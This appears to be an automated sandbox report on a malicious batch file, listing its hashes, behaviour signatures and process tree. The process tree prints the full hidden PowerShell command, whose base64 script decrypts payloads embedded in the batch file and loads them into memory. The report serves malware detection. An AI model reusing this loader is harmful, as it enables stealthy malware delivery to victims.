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Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
14/03/2025, 18:58
Static task
static1
Behavioral task
behavioral1
Sample
PO43346213032025.bat
Resource
win7-20240903-en
General
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Target
PO43346213032025.bat
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Size
88KB
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MD5
b715af6823bfb159c958c165147d7eda
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SHA1
91daf2240fa69c26a0ec4b7d73702d28437548a3
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SHA256
83df3ede16eebe226c879150dc8dd6d451ba5d27bed8b6bac4f52dd63eee849f
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SHA512
c884d91d41a9ce24fd61a8fcb9c1edf80d1b18702eceb24e5aa345e8d18257f3065a854ec264edc0ce0ee4f351fe3540e3704c5efc799a9217365e6cf2a16248
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SSDEEP
1536:rNkrxoOIFQJQNJsBW4P/LGEcZJyXRNcMtYtgsudkaBZ1INS/Z66ZkbmEKUgXEXzH:rNkVYFQYJ2P/LfcWjYWsulhTZ6DHff
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1932 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1932 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1932 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1932 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2120 wrote to memory of 3004 2120 cmd.exe 31 PID 2120 wrote to memory of 3004 2120 cmd.exe 31 PID 2120 wrote to memory of 3004 2120 cmd.exe 31 PID 3004 wrote to memory of 1932 3004 cmd.exe 33 PID 3004 wrote to memory of 1932 3004 cmd.exe 33 PID 3004 wrote to memory of 1932 3004 cmd.exe 33 PID 3004 wrote to memory of 1932 3004 cmd.exe 33
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\PO43346213032025.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PO43346213032025.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskd2NrZ3ggPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHdja2d4KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR3Y2tneCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR3Y2tneCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkd2NrZ3giIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gbXpyZXUoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3pCb3l3YzBoOHpUZnpXTFF4T3UyVHhHVGlpZldvdUV4cTZyRUZVM2RhM2M9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0JpL1l2SDA4RmZtUWM3c3hEdFZxQWc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcGtieHEoJHBhcmFtX3Zhcil7CSRyaGJ5Zj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkem51YXI9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZm14d2k9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkcmhieWYsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZteHdpLkNvcHlUbygkem51YXIpOwkkZm14d2kuRGlzcG9zZSgpOwkkcmhieWYuRGlzcG9zZSgpOwkkem51YXIuRGlzcG9zZSgpOwkkem51YXIuVG9BcnJheSgpO31mdW5jdGlvbiBoa3dmeigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHh0d2NuPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHVueGZsPSR4dHdjbi5FbnRyeVBvaW50OwkkdW54ZmwuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHdja2d4OyRoZnRjbj1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHdja2d4KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkdW52IGluICRoZnRjbikgewlpZiAoJHVudi5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHNhaGxwPSR1bnYuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGNmZmhuPVtzdHJpbmdbXV0kc2FobHAuU3BsaXQoJ1wnKTskeHdkdWU9cGtieHEgKG16cmV1IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGNmZmhuWzBdKSkpOyR6b3d5bD1wa2J4cSAobXpyZXUgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY2ZmaG5bMV0pKSk7aGt3ZnogJHh3ZHVlICRudWxsO2hrd2Z6ICR6b3d5bCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
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